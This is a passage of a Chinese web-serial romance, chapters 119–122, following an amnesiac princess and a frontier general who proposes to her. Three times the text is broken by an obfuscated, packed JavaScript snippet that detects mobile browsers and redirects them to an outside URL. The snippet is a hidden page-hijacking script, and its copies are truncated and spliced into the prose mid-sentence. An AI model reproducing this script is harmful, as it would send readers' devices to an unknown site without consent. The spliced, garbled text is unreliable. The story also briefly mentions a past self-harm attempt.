她在后面懊悔不已,自己怎么变得这样心机了,这么明显的司马昭之心,他不会看不出来。看来冰绡的话,当真是都丢到脑后去了,怎么就这样轻易相信了这个人。 心有些乱,自己到底在做些什么,她顺着城墙缓缓向前。 城墙宽阔,一直绵延到北面的山上,与长城连接起来,犹如一条蜿蜒巨龙在山脊盘旋。 城墙上粗粝的石条上留有风吹雨打的痕迹,那是岁月的沧桑,是历史的记录。 她摸着垛子上的石头,翘脚眺望远方,远方山势陡峭,不知绵延到了哪里。 又是熟悉的感觉,她自言自语道:“我好像来过这里。” 119. 徘徊心不定 暖暖踮起脚将上半身探向城墙外,用身子遮着,将袖中的平安符扔了下去,看着平安符如蝴蝶一般飘远,她有些后悔,不应该两个一起扔的。 身后的冷逸尘正想着如何接下这句话,却听她说道:“有些热了,我想回去。” 他这才发觉太阳已经升得老高,空气微微发热,只顾着小心说话,却忽略了这一点,看着她额头上的汗水他有些自责,她是最怕热的,于是赶紧带她从城墙内侧的台阶下去。 回去后暖暖沐浴了一番才缓解了热气,之后便去看冰绡。 冰绡已经能坐起身来,只是身体十分虚弱,此前她一直担心这些人的目的不纯,会在药里动手脚,表面上是在救她,暗地里却想置她于死地。 可事实却是,她恢复得很快,公主也被保护得很好,而且公主的心情似乎也不错,虽是这样,但是她依旧不敢掉以轻心。 “……平安符我已经扔到了城墙下,但不知飘到哪里去了。”暖暖细细地将如何丢出平安符一事告诉她。 冰绡默默叹了口气,但平安符能丢出去便有希望,看着今日话多的公主,她不忍扫兴,说道:“公主放心,绣衣使自有办法找到,只是公主,你是如何说服那将军,到城楼上去的呢?” “我……那将军说带我去看看,便上去了。” “城防重地,那将军这样轻而易举地带公主上去了?”冰绡有些不敢相信,沉吟了一下后皱着眉头问道:“那将军可有对公主……有不礼之处?” 这让暖暖不知如何回答,那将军对她,似乎是有那么点意思,但是发乎情、止乎礼,并无过分之处,反倒是她的心思,可以用“龌龊”来形容。 她摇摇头,算是回答。 冰绡也无力气再问,二人一起一起用过午膳,暖暖便回到清和轩。 躺到床上,头枕着双臂,想着那两个平安符会落到哪里,平安符那么小,绣衣使要怎么将它找到,想着想着竟又把今日与那将军在一起的事,细细回忆了一遍,心中荡出一种难以言说的甜蜜。 她翻了个身,告诉自己这样不对,她们仅仅相识三日而已,甚至都不满三日。 男子都是会骗人的,就比如于文则,那个浑蛋。一想到这个人,她又心中发堵,只得又翻了个身,把思想又转回到那个将军身上。 他的确生得很好看……人似乎也不错,有匪君子,如切如磋,如琢如磨,尤其是那双眼睛,干净明亮,似乎不染这世间的尘埃…… 辗转反侧不能入睡,干脆睁开眼睛,起身拿出那本《九域志》翻看,可那里有心思看得进去。 四哥哥说那将军来提过亲,她有些后悔当时就那样痛快拒绝,也不知哥哥有没有给人家回帖,若是未回,此事倒是可以再商量商量。 可哪有女儿家亲自去说的,她不由得脸色绯红,将书覆在脸上。 一番游思妄想,朦朦胧胧间竟看见那将军侧躺在她身侧,以手撑头,看着她微笑,结实的胸膛在洁白薄透的里衣中若隐若现。 她大惊失色,刚要起身指责他,脸上的书掉在一边,才发现只是个梦。 对这将军的心思竟然已经龌龊到了这个地步! 她将头埋进被子里对,自己感到失望与不耻。 三哥哥说到对,自己是该收收心了,自己本就不是什么意志坚定之人,又在维扬,受那烟花旖旎之地的浸染,怎能不受影响。 唉!梁国公主,祁囯将军,怎么可能在一起!想到这点,她心中不由得又失落起来。 实在不能入眠,干脆起身,打算再去看看冰绡,想着等冰绡能动了就回关城家里去。 她出了屋子,目光却不自觉地看向那个角门,通过角门便是中庭,真想到哪里看看! 身随心动,脚步不由朝角门。 “小姐,去客房要从这边走。”侍女提醒道。 暖暖有些心虚,解释道:“哦,我上次是从那里过去的……” 侍女解释道:“中庭也可以过去,只是将军不许人靠近书房,书房另有侍卫看守,恐唐突了小姐。” 这个侍女是懂点分寸的,从未听说将军身边有过女子,如今突然带回一个女子,还这样宠着,看来是好事将近了。那些侍卫都是大老粗,哪里懂得这些,若是冲撞了这位贵人,恐怕她也要跟着吃瓜啦。 “哦……你叫什么名字?”暖暖岔开话题。 侍女回答:“奴婢名叫小莲。” 暖暖跟着小莲来到客房,进屋看到冰绡熟睡便又出来 她人生地不熟,感觉好生无聊,在院子里赏了一会儿海棠后,问道:“你们将军呢?” 这句话她思考了许久,才对那叫小莲的侍女问了出来,她控制着自己不去想他,可心中却又不甘。 “将军军务繁忙,不在府中。” 知道了去向,暖暖竟放心下来,无聊至极,便想去海边走走,行至角门,却见那里新增了军士,个个身着铠甲,腰悬利刃。 离角门还有一小段距离,就听一个军士声音冰冷地呵斥道:“将军有令,不得任何人出入都府。” 这样严防,难道是有什么事?她向军士询问。 那军士只是瞥了她一眼,并未回答。 暖暖碰了一鼻子灰,悻悻地往回走,有些后悔这样去问,这是祁囯边境的都府,不是她的公主府,也不是维扬的宅院,怎么就摆不正自己的位置了,像是这里的主人似的。 那就在这都府中转转也罢,她让小莲带她去花园,路过一处垂花门,转弯遇见了一男子。 小莲行礼道:“陈管家好。” 暖暖只觉有些面熟,她记起这人在她刚来时忙前忙后,原来是这里的管家。 陈安对暖暖行礼道:“给小姐准备的换洗衣物已送至清和轩内。” “多谢。”暖暖听这声音也很熟悉,但细想想,那日她们二人似乎并未交言。 陈安说完后退两步告辞而去,在路的转角处,稍微驻足了一瞬,侧过脸来打量了一眼这女子。他感觉,这就是王妃本人,但似乎又有哪里不一样。 暖暖虽未目送他离开,但是也察觉到落在她身上的目光有些异样。 回到住处,只见几套衣衫已摆在屋内,一套大红色的衣裙撑在衣架上,闪耀而夺目。 暖暖看着这些衣服的料子,不像是这小小的临闾关里所能置办的,但衣服皆是新衣,那将军是什么时候备下的呢? “怎么会有这么多衣服?”她问小莲。 小莲知道不知。 再看那红色衣衫,虽是寻常便装样式,却让她想起了画眉出嫁时穿的大红色嫁衣。 是自己多想了?还是他在暗示什么?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612000|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 儿女情长、多想无益,她命人将衣服收起来,而且现在也不是该想这些的时候,现在该想想受伤的冰绡、失踪的舒雁、焦急的季萧,再想想怎么联系绣衣使,想想下一步怎么办,是在这里治病,还是回维扬去。 她思来想去,不得头绪,反而头又开始隐隐作痛。 正想去休息,侍女端着药来回禀:“回小姐,将军派人传话来,说晚上不能回来陪小姐用膳了。” 暖暖听完,觉得有些好笑,她并没有表示要与他一起用晚膳的意思,他可真是自做多情。 可他这是什么意思,为什么要知会她一声?是怕有理数不全之处吗?还是把她当成了金丝雀,要圈养起来? 药是不会喝的,晚膳也罢了,头疼得厉害,只怕吃完也会吐掉。 侍女不明所以,只当是她为了求宠耍的一些心机,于是将事情一一回禀给将军派来的人。 暖暖胡思乱想了一夜,第二日醒来,头部痛得厉害,她忍着痛洗漱后去看冰绡,将晚间所思之事与冰绡商量。 冰绡活动了一下胳膊,觉得自己可以动了,便计划道:“属下大约明日便可行动,咱们先出军营去,然后回梁国。” “舒雁怎么办?”暖暖有些着急。 “属下通知季萧去寻找,但是这么多天过去了,公主……不要抱太大希望。” 暖暖有些不敢相信:“我一定要找到她,是我将她带来的,一定要带她回去。” 冰绡也有些难过:“属下理解公主,但是她是被土匪劫走的……” 之后的话她没有说下去,良家女子被劫走,即使被完整地救回来,名声也毁了,此后不是三尺白绫便是青灯古佛,更何况舒雁自幼受宫中调教,这种思想更甚于民间。 暖暖自然也知道这些道理,但她还是不甘心,可有什么办法呢?她想到了那个将军,他曾答应过她去寻找,不管真心还是假意,他要应该给她个答案。 她决定再去问问。 这些她没有告诉冰绡,焦急让她的头痛更严重了一些,实在有些受不住,侍女又端来药时,她一饮而尽,之后便昏昏沉沉地睡上了一觉。 也不知睡了多久,醒来时只见太阳已偏西。 小莲见她醒来,脸上带着喜悦回禀道:“回小姐,午间的时候将军来过,见小姐睡着便未打扰,将军说在马场等小姐,若小姐醒了就……” “知道了……”暖暖嫌她啰嗦,出言打断。 正好要与他说舒雁之事与离开之事,于是简单梳洗后便出了门,行至角门处,果然军士已撤,她命小莲留下,独自前去。 她脚下的步子很快,到了马场,正见那将军正在刷洗着前日她骑的那匹马。 他将上衣脱下围在腰间,只穿着洁白的中衣,大约是没有发现她的到来,手中的活未停,也没有回头。 “冷逸尘?”暖暖想叫一声“将军”,可开口却说出了这三个字。 这熟悉的声音与语调令冷逸尘愣住片刻,仿佛又回到了从前。 难道是她想起来了?他心中升起喜悦与不安。 他并未立即答应,深吸一口气后才缓缓起身回头看去,眼前之人礼貌的微笑中带着些许疏离。 该如何称呼她?叶岚?叶青? 犹豫片刻,他试探着叫了声:“暖暖……” 120. 撩拨乱心弦 暖暖这个名字,只有她的亲人才知道,她不可思议地看着眼前人:他如何知道的? 冷逸尘看她的表情,便知她并没有想起来,但没关系,慢慢来! 他低头擦手掩饰了一下内心,敛了所有的情绪,上前道:“怎么没遣人来告诉一声,我去接你。” 说完冲她笑起来,这笑容纯粹且干净,犹如和煦的春风、四月的暖阳。 那目光中似有千缕万缕的光线将她温暖起来,她不敢迎接那目光,心中有些别扭,她原本是来和他说离开的事,要该怎样拒绝这样的热情。 她将目光放低,才发觉他的右臂上缠着绷带,有丝丝缕缕的血迹透出。 “你受伤了?”暖暖不由得紧张起来。 冷逸尘将手臂抬起看了一下:“无妨,小伤。我昨日回来得晚,去看你时你已经睡下了,我还给你带了冰酥酪,可惜你没吃到,进了我的肚子。” “我……”暖暖不知如何开口。 冷逸尘上前半步,关切地问道:“可是又头痛了?” 暖暖点点头,随即一笑:“你的军医开的药很管用,我现在已经好了,多谢!” “慢慢来总会好起来的……要骑马吗?”冷逸尘言语间有些兴奋,似乎很高兴她有所恢复,期望她能骑一骑这匹马。 但见她目光低垂,他意识到自己的衣服不得体,恐是令她为难了,于是赶紧说道:“等我一下。”之后便转身去了马场的房屋里。 不多时他又出来,已清洗了汗水、穿好了衣衫,看起来清清爽爽、干干净净。 “骑马吗?”他再次问道。 暖暖摇摇头,言语间些迟疑:“我有事对你说……” “正好我有些事想对你说,去走走?”冷逸尘提议,他见暖暖心情不佳,也许他的消息能令她高兴一些。 暖暖点点头,她还未想好要如何说。 冷逸尘牵了马,二人并肩缓步慢行。 走出马场向西,便是古渡口,只不过这里已划入军营之中,并没有船只往来。 冷逸尘将马放到了草滩上去吃草,之后开口道:“昨日军营抓了一个刺客,我便加强了都府的防守,他们没吓到你吧。” 暖暖摇头,忽而抬头:“你的伤是刺客所为?” 冷逸尘:“是,那刺客伸手不凡,像是受过训练的。” 暖暖听了心中一惊,莫不是绣衣使,肯定被他发现了,怎么办?她强装镇定,并未说什么,且看他怎么说? 冷逸尘:“是来找你的,对不对?” “你把他怎么样了?”暖暖面色有些发白,双手于袖中紧握在一起。 冷逸尘得逞似地一笑:“果然是。” 要命,又中了他的圈套!暖暖视死如归地说道:“你打算把我怎么办吧!” 冷逸尘又是一笑:“师兄给你安排的侍卫果然不错,你放心,我已秘密将人放了,我正愁送给师兄的信太慢,这下好了,估计他快就能收到了。” 暖暖一时语塞,早知如此,何必大动这一番周折,而他也不会受伤。 良久她才说道:“抱歉,是我不相信你。” “我能理解,你认识我才几天,能有这样的防备,很好。” “可……”暖暖没有说下去。 她觉得他应该会生气,未想听到的却是“理解”,一直以来,她都是被动地接受他的安排,似乎她没有任何选择,但这安排似乎又正合她的意。 是巧合,还是别的原因? 脚下的路到了河边,鹅卵石也多了起来,她的心思并不在脚下,一脚深一脚浅地走得极为不稳,突然一个不小心,被蔓延在石缝间的藤蔓绊了一下,身体向前扑去。 冷逸尘眼疾手快,将她接在怀中,却牵扯到了伤口,他不由得皱紧了眉头。 二人摔倒在地,暖暖头脑一阵嗡鸣,有些反应不过来,就在他怀中看着他,心中犹如砸下了一块巨石。 “可以先起来吗?压到伤口了。”冷逸尘吃痛地说道。 暖暖赶紧起身,扶着他也起来,只见胳膊处渗出了鲜血。 “抱歉……”暖暖有些过意不去:“有药吗,我帮你上一些。” “有……”冷逸尘没有拒绝,将上衣褪至手臂处,将伤口露了出来。 暖暖慢慢将绷带解开,用帕子将血迹擦掉,涂上药粉,动作缓慢且轻柔。 “你怎么随身装着药膏?是不是看到那个姑娘受伤了,就为她涂一涂?”暖暖边涂边说,说完才反应过来自己说了什么,不由得有些面色微红。 这是试探!这是吃醋!笑意出现在冷逸尘的嘴角,怎么也压不下去:“是,有一个叫暖暖的姑娘受伤了,所以我要随身装着药膏。” 暖暖精神集中,并未理会他的玩笑,只是心中暗骂一声:“油嘴滑舌。” 她离得太近,发梢不经意间划过他的胸膛,弄得他心神不宁,忍不住叫了声:“暖暖……” 暖暖心中一动,抬头对上一双柔情似水的眸子,水中星光闪动。 她想躲过这目光,眼眸低垂却又落在他袒露的肩膀上,不由得红透了耳根,赶紧松了手,站起身来背过身去:“你自己穿。” 冷逸尘暗自欣喜,穿好衣服问道:“刚才想什么呢?走路不小心。” “在想你到底可不可信。”暖暖直言不讳。 “你觉得我可信吗?” “我……不知道……”暖暖轻抿了一下嘴唇,内心乱作一团。 话刚说完,只听得马蹄声近,一个侍卫下马回禀道:“任将军的书信。” 冷逸尘接过看了一遍后,将一张纸交给暖暖:“有惊喜,看看。” “给我?惊喜?”暖暖半信半疑地将纸条打开,是舒雁亲笔,这可真是惊喜。 信上开头只称呼“小姐”,内容也只是“一切安好,请勿挂念”几个字,想是舒雁不能信任他们,不便写什么。 “你的婢女找到了,只是伤了腿不便行动,现在正在宁远城养伤。” 暖暖一听受伤,又紧张起来:“伤势可严重?” 冷逸尘解释道:“放心,土匪故意弄伤她的腿,是怕她逃跑,不会伤太重,这是土匪惯用的技俩。” 有消息便好,暖暖心中的一块石头总算是落了地,她由衷地说道:“冷逸尘,谢谢你……” 冷逸尘上前半步:“这回可相信我了?” 暖暖使劲点点头。 “那要怎样感谢呢?”冷逸尘半开玩笑。 暖暖愣住了,好熟悉的话语,仿佛他曾经这样问过她。 她迟疑了一下,玩笑道:“大恩不言谢,你是正人君子,不会让我报答,对不对?” 冷意尘鼓起勇气,拉过她的双手,深情地说道:“暖暖,我为做你任何事,是心甘情愿……但这次我却要挟恩图报了。” 他深吸一口气:“你是我从始至终都倾慕之人,能不能……嫁给我?” 这么突然,暖暖手抖了一下,脑子里闪现叶均的话:不得有私。 她心跳得厉害,不知该如何作答,时间仿佛静止一般,她能感受到眼前之人紧张地屏住呼吸,握住她的那双手轻轻加大了力度,有微微的潮湿。 她还能感受到空气中似乎有些变化,抬头看看天,果见东北方乌云密布,她缓缓说道:“要下雨了。” 这算什么回答? 冷逸尘眼中闪过一抹黯淡深,吸了一口气,心中安慰自己:这不算是拒绝。 他看着乌云,似乎顷刻间就要飘到眼前,赶紧为她披上披风,二人一起骑马回到都府。 下了马,暖暖并未等他,快步进了清和轩,冷逸尘也想跟着进来,却被她关在了门外。 此时她需要冷静一下,想想该如何回答冷逸尘,她在屋里徘徊,闭眼全是他的身影。 他说得从始至终,何时开始?如何开始?她不记得,一点也不记得。 之前于文则与她有接触,她十分抗拒,可为什么她不会抗拒与他的接触,这种感觉,从来没有。 虽然只相识了这几日,但她心中却对他产生了思念之情,这思念之情如春事漫烂得难收难管。 她很想痛快地答应她,但之后呢?如何对哥哥们说?如何对天下人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“好。”冷逸尘挪到一边,将座位让出来。 暖暖拨动琴弦,说道:“我四哥哥有个红颜知己,琴技一流,你较她而言,有过之而无不及。” “知己?是何人?”冷逸尘微微抬头,于琴音上,他与他才是知己,以前二人悬崖上抚琴舞剑,真是惬意的日子。 “一位女子,可惜已经离世了。”暖暖说着便有几分惆怅与惋惜,指下弹错了几个音。 “这里应该这样弹……”冷逸尘说完,从她身后将她围住,演示起正确的方法来。 暖暖心中一惊,心脏狂跳不止,紧张地将手收回来微微握拳。 他就在她身后,他的呼吸落在她的发间,她暗自吸了一口气,想压下自己内心的躁动。 她闭眼,听到了身后有力的心跳,但这心跳并没有异常,而心脏的主人似乎将精神全部集中在了琴弦上,并没有注意到她的变化。 窗外乌云蔽日,房内一片昏暗,一个雷声响起,暖暖被惊得一哆嗦。 “别怕……”冷逸尘顿了一下,琴音断了一下,而后又继续。 又一个炸雷毫无征兆地响起,暖暖吓得缩成一团。 忽然,一个温热的身躯将她包裹起来,那心跳声也愈发清晰。 这举动没有引起她不悦的情绪或抵触的反应,她竟感到十分的安心,再也抑制不住自己的内心,转身回抱住冷逸尘的腰,将头埋在他的胸前,呢喃道:“送披风只是个借口,我……是想和你在一起。” “我知道,我抚琴……也是想将你引来。” 冷逸尘抬起她的头,看着她略带慌张的眼神、粉若桃花的脸颊,目光炙热起来,可臂弯却不敢揽得更紧。 他的叶岚,人虽然回来了,可是心似乎还没有回来,他怕她只是一时兴起,转身便会离开他。 他肌肉紧绷,努力地克制着,可呼吸却不由自主地重了起来。 暖暖看不懂他的不确定,情难自禁地抬手抚上他的唇,柔柔软软,忍不住尝了一口。 只这一下,便使冷逸尘周身燃起了涅槃之火。 他抱起她,慢慢走向屏风后。 121. 鹤梦疑重续 接下来要发生什么?暖暖竟然有些渴望。 但她不知这样是对还是错,这次,她只是遵从了自己的内心。 冷逸尘步履沉重且缓慢,终于在走到屏风之前,转身折回,将她放到了软榻之上。 暖暖带着不解的眼神看着他,是她这举动太过主动了吗?是他不喜欢这样不庄重的女子吗? 她心中有些委屈,刚才的欢喜之情荡然无存,坐正了身体垂下双眸:“我不是这样的人……” 冷逸尘单膝跪地,将她的手放到唇边,轻轻一吻,稍稍抬起头仰视着她:“你自然不是这样的人,暖暖,你心里有我,才会这样对我,我很高兴。可是,你现在是梁国最尊贵的公主,我现在只是祁囯一个受人忌惮的将军,是我现在配不上你。” 他顿了一下继续说道:“我已经给师兄送去了求亲的庚帖,只要他同意,我立即做回他的师弟,与你成婚离开这里。” 暖暖不解:“做回……他的师弟?” “对,冷逸尘不是长右山弟子,凌长风才是。” “凌长风?长风……”暖暖思忖着这个名字,那个一起乘船的大哥说起过,他还说他是她的小郎君。 她问道:“这个名字我听一个商人说起过,我们之前……是不是很好的朋友?” 冷逸尘以为会是叶皓说过,不想却是一个商人。他快速回想了一下,“凌长风”这个名字只有长右山的人知道,一个商人怎么会知道? 他没有去细思量,先回答道:“比朋友还好……” 暖暖虽多有不解,却没有细问,但是她知道他为她们的未来,做了长远的规划。 琴声复而响起,暖暖坐到了窗边推开窗子,乌云散了,阳光又重新洒向了大地,这场雨终究是没有落下来,但空气中却有一股雨后清新的泥土味,大约是云落在了不远处。 冷逸尘看着窗前的暖暖,窗外是一株盛开的海棠花,琴瑟在御、莫不静好,就这样他心中已是满足,不敢再奢求其它。 “我想去海边走走……”暖暖看着外面的天光渐渐变为橙色,脑中浮现出落日跌海的情景,可是这样的情景她并没有见过。 冷逸尘立即停了琴,拿着披风与她一起出门。 门外的侍卫见到二人出来,面面相觑,摇头叹息。 海边,金色的光芒洒在沙滩上,将二人的身影拉得很长。 “暖暖……”冷逸尘叫了她一声,伸出了右手,掌心朝上。 暖暖意会,将左手覆盖在上面,被紧紧握住,二人携手缓行。 天地浩渺,星辰灿烂,这个世界似乎只剩下彼此二人。 美好的时光总是短暂,转眼金乌坠、玉兔又东升。 雨后的夜晚总是有些凉的,冷逸尘为暖暖披上披风,从怀中掏出一对绞丝玉镯,穿在她的玉臂上,说道:“你还没有回答我,可愿嫁我于为妻?” 玉镯在月光下泛出柔和的光芒,暖暖抚着它,说道:“那你可要想好了,依我们梁国的规矩,尚公主后,驸马是不许再纳妾的。” “我定然不会,只愿与卿朝朝暮暮复年年,年年岁岁复此生。” 这句话字字坚定,掷地有声,暖暖不知为何心痛得厉害,一股酸涩与委屈之感直冲上来,眼眶竟然湿润了。 冷逸尘听完,心中也是一痛,这话是她曾说过的,那时他还与她玩笑,惹她生了气。看着她眼里的泪花闪耀,似星辰滚烫,他抬起她的脸,去亲吻她的眼睛,是他让这双眼睛流了太多的泪。 眼泪是咸,和海水一样咸。 海浪拍打,犹如呼吸的节奏,一刻也不停歇。 次日,暖暖睁开眼睛,天已大亮,昨晚她与冷逸尘散步到了很晚,回来时已十分困倦,只记得月亮已经升到了半空中。 她起身去找冰绡,要去告诉她,自己打算先留下来,等陛下的回信后再做打算。 冰绡听后十分惊讶,奇怪怎么仅仅过了一日,公主就改了主意,但她看到公主手腕上的手镯,似乎又明白了些什么。 但公主不是这般轻浮之人,不会因一副玉镯失了心智,那将军一定是用了什么迷魂法术,将公主哄得团团转。 她劝道:“公主是被那将军的姿色所迷惑,请公主三思。” 暖暖讪讪一笑:“冰绡,放心,我很理智也很清醒。” 冰绡无奈,只恨自己恢复得太慢,若早日好起来,杀也要从这里杀出去。 暖暖却告诉她不要多想,好好休养。 府里的海棠花正盛,太阳还没有升高,花瓣上的露珠晶莹剔透,她折了一枝,带着它去找冷逸尘。 都说这海棠无香,可现在却觉得这花有一股清新的草木香,令人心情舒畅。 来到中庭,书房门开着,却无人值守。 难道没有人?她悄声提着裙摆上了台阶,隔着窗户看见冷逸尘正专心致志地写着什么,她轻笑一下后立即捂住嘴,蹑手蹑脚地进了门,走到他身后,双手覆上了他的眼睛。 “猜猜我是谁?” 俏皮的声音令冷逸尘心中一动,手也跟着抖了一下,这样活泼灵动的叶岚,是他没见到过的,之前二人肩负的责任,让他们压下了自身的性情,甚至隐藏了自己的感情。 他陪她玩下去:“我猜你是一只顽皮的小兔子。” “不对!” “那是可爱的小花猫?” “还不对!再猜错可要受罚了。” “那是一只快乐的小海鸥……” “又错了……”暖暖松开手。 冷逸尘放下笔,一把将她揽入怀中坐下:“猜错了,公主殿下要怎么罚我?” 暖暖歪着头想了想:“还没想好,先记下吧。” 冷逸尘含笑:“多谢公主殿下。” 暖暖将头贴在他的胸膛:“不过,我倒是喜欢小海鸥这个称呼,可以自由自在地去看大海。” “那我们就出海去。”冷逸尘说着便要吻上去。 暖暖将海棠花在他鼻子上点了一下:“会被人看到的……” “不会,我将人都遣了下去。” “为什么?” “因为在等你来……”冷逸尘说着,还是在她额头上一吻。 原来是早有预谋,怪不得他敢这样放肆,叶岚瞬间羞红了脸,娇柔地说了声:“轻浮……” 看着怀中的人比花娇,冷逸尘心神荡漾,摘下两朵海棠簪在了她发间:“好,谨遵公主之令,下次再也不敢了。” 说罢却将人揽得更紧了一些,之后将滴了墨水的纸放到一边,重新铺好一折,继续书写。 “写什么呢?”暖暖不解:“怎么一点瑕疵都不许有。” “婚书。” 暖暖又是一阵羞赧:“可……哥哥还没有答应。” 冷逸尘笃定:“师兄会同意的。” “我是说我三哥哥。” “他……”冷逸尘想到此前成王的态度,心中不免有些慌,似乎成王从始至终都没有看好他们的婚事。 虽然他师兄的一道圣旨什么都能解决,可他知道,对叶岚来说,成王是长兄如父,所以他还是希望得到成王的认可。 “此事要师兄去说服成王。” 暖暖看着婚书问道:“你怎么知道我生辰?” 冷逸尘在姓名处顿住:“我还知道你很多事……” “可我不知道……”暖暖眸色黯淡下去。 冷逸尘赶紧岔开话题:“有些饿了,我命人去传膳?” “好……”暖暖从他怀中出来。 用过早膳,小莲将药端来,冷逸尘亲自接过,送至暖暖跟前:“我问过军医了,这治疗头疾的药最好饭后服用。” 暖暖看着黑漆漆的药汁,皱着眉头:“不想喝,昨晚头疾并没有发作。” “病来如山倒,病去如抽丝,试一试,万一有用呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“今日太阳大,船头甲板上会晒。” “收起来吧,我倒是想晒晒太阳。”暖暖很喜欢北方这热辣辣的日光,晒在身上很舒服。 “好。”冷逸尘收起伞,却未放下。 二人来到船头,船身破开水面,也翻起白色的浪花。 下一朵浪花会是什么形状? “有酒吗?”暖暖看着海面的波光问道。 “出来到匆忙,未曾备酒……” “可是,好想喝酒……”暖暖看着一望无际的海面,不知船要驶向哪里,心中那种不确定的感觉越发越强烈起来。 “你等等,我去找找。”冷逸尘转身去吩咐黎平寻找。 黎平也是犯愁,将军为博美人一笑,想一出是一出,这船备得匆忙,船上的杂物都来不及收拾,只得先用布盖起来。 如今去哪里找酒,他硬着头皮在船舱里翻找起来,不想还真找到了一坛酒,他又刷洗了两个碗,一并送到了甲板上。 冷逸尘打开酒坛闻了闻,味道浓郁,这船是平日里军士巡海时用的,这就想必也是军士们藏的。 浊酒粗鄙,不一定合她的胃口,冷逸尘说道:“这酒不好,等回去了,咱们再喝好不好。” 暖暖自从回了梁京至今,几乎是滴酒未沾,在她三哥眼皮子底下,她有贼心没贼胆。 渐渐地不饮也就不想了,但此刻兴起,一定要饮上一碗的。 她将碗摆在船舷上,倒满了两碗,自己拿起一碗来,对冷逸尘做了个请的动作后,喝了一大口。 这酒的辛辣程度远远超出她的想象,她被呛得咳了起来。 “这酒比景芝还浓烈。” 冷逸尘轻拍着她的后背:“你记得景芝?” 122. 多情似无情 暖暖拍着胸口,捋顺气息:“我与四哥哥一起喝过,想来那酒应该是你送的吧。” “是……这是你喜欢的酒。” 暖暖闭上眼睛感受着阳光与海风,深吸一口气说道:“你都记得我的喜好,我却不记得……冷逸尘,你知道吗?我忘记了很多事情,我不知道我有怎样的过往。我周围的人总是问我:公主不记得了吗?听他们这样说,我真的很难过,我拼命去回忆,可只要一想头就如要裂开一般疼痛,你知道我的这种感受吗?” “我……”冷逸尘也无法说下去,虽然他也知道不该再提及从前,但他却总有意无意地说起来。 他也很矛盾,他希望她身体能够好起来,却担心那些回忆成为他们之间的阻拦。 暖暖望着从海面飞起的海鸥,张着翅膀停在空中,说道:“你看那只海鸥,明明什么都没有,可它在那里却动不了,我就是如此感觉,过去就像一张看不见的大网将我困住……我想若我死了也许会解脱,所以我割过一次腕,但是没死成。” 冷逸尘想起她左手腕上那条泛白的疤痕,原来是割腕的痕迹,她这是经历多么大的痛苦。 他上前一步想抱住她,可只是拉住了她的手。 暖暖从容一笑,将手抽出来:我有个朋友叫师英玉,性子活泼洒脱,是她提议我离开京城,换个环境,然后我就去了维扬,在那里交了一些朋友,整日吃喝玩乐,倒是过了一段快活的日子,可是有时,我还是觉得很孤单心中空落落的……” 一碗酒下肚,她有些微醺,转过身来看着冷逸尘:冷逸尘,我喜欢你,但是我仅仅认识你才几日,几日呢?”她掰着手指计算,但数了半天也没数明白。 “五日。”冷逸尘替她计算。 “对,五日,只有五日,但是我却无可救药地爱上了你,我觉得我简直是疯了。”暖暖闭上眼睛,轻轻拍了拍额头。 你不是这些日子才喜欢我的,是很早以前,冷逸尘心里这样想,可却不敢说出来。 “你与我哥哥可真是师兄弟,真有默契,都不肯将从前的事告诉我,我也知道你们是顾及着我的头疾,可你们不能理解我的痛苦和烦忧”“暖暖转向冷逸尘,直视着他:“你说之前我们相识,你倾慕于我,我也喜欢你,可为什么我们没有在一起?” “……”这中间的曲折,冷逸尘不知该如何说。 见他不言,暖暖心中的不确定变成了笃定:“所以,这段感情没有那么牢固,而我现在喜欢你,大概也是因为孤单。” “不是……不是这样的。” “那是怎么样的?那之前我们为什么会分开?” 冷逸尘沉默,他怯懦了,他不敢说,只怕她知道了真相会立刻离开。 “好吧,你不说,我也不想知道,现在这日子也很好……等冰绡伤好了,我们就回梁国去,你与我的事,还需再议。” “不是……是我……”冷逸尘听她如此说,有些急了:“暖暖,你相信我,我对你的心,从未变过。” “信?你让我怎么信?”暖暖看他有些涨红的脸,将酒碗端给他:“你把这酒喝了我就相信你。” “我不能饮酒……”冷逸尘皱起眉头。 “看吧,一碗酒而已,你都不愿意。”暖暖看着他的样子,以为他是不愿意。 看着阳光在酒水里晃动,冷逸尘知道她是在赌气,若是这样能证明他的心,若这样能让她消气,喝一百碗他都愿意,于是他接过碗,大口饮起来。 辛辣入喉,他差点吐出出来,喝到中间的时候,他的不适已十分强烈,暖暖看着他这般痛苦,想伸手制止,但却被他按住胳膊。 冷逸尘喝完,重重地将碗放到了船舷上,用手双手撑着船舷剧烈地咳了起来,边咳边说:“如此,你便信我了吧……” 暖暖看着他这样子,有些不知所措,是她的玩笑开大了。 她刚想问他有没有事,就听冷逸尘喘息着说道:“暖暖,以前的事我不说,并不是想隐瞒你,而是我害怕……我之前伤害过你,我怕你知道后会离开我,我不想再重蹈覆辙……咳咳……” “你不舒服,先不要说了……”暖暖上前拍着他的背。 冷逸尘动了一下后背表示拒绝:“听我说完,一会儿我就不能说了……你能回来,是我不敢想象的事,我每天都像是做梦一样,既高兴又害怕。我高兴的是,这不是梦,我们又在一起了,可我又害怕这只是一个梦,梦醒了你就会离开……” 他深吸一口气,站直身体,眼神有些迷离地看着眼前的女子,似乎想要透过她的躯体去探究她的灵魂,他上前轻轻拥抱了她一下:“叶岚,你说的这些话,让我真的很害怕……” 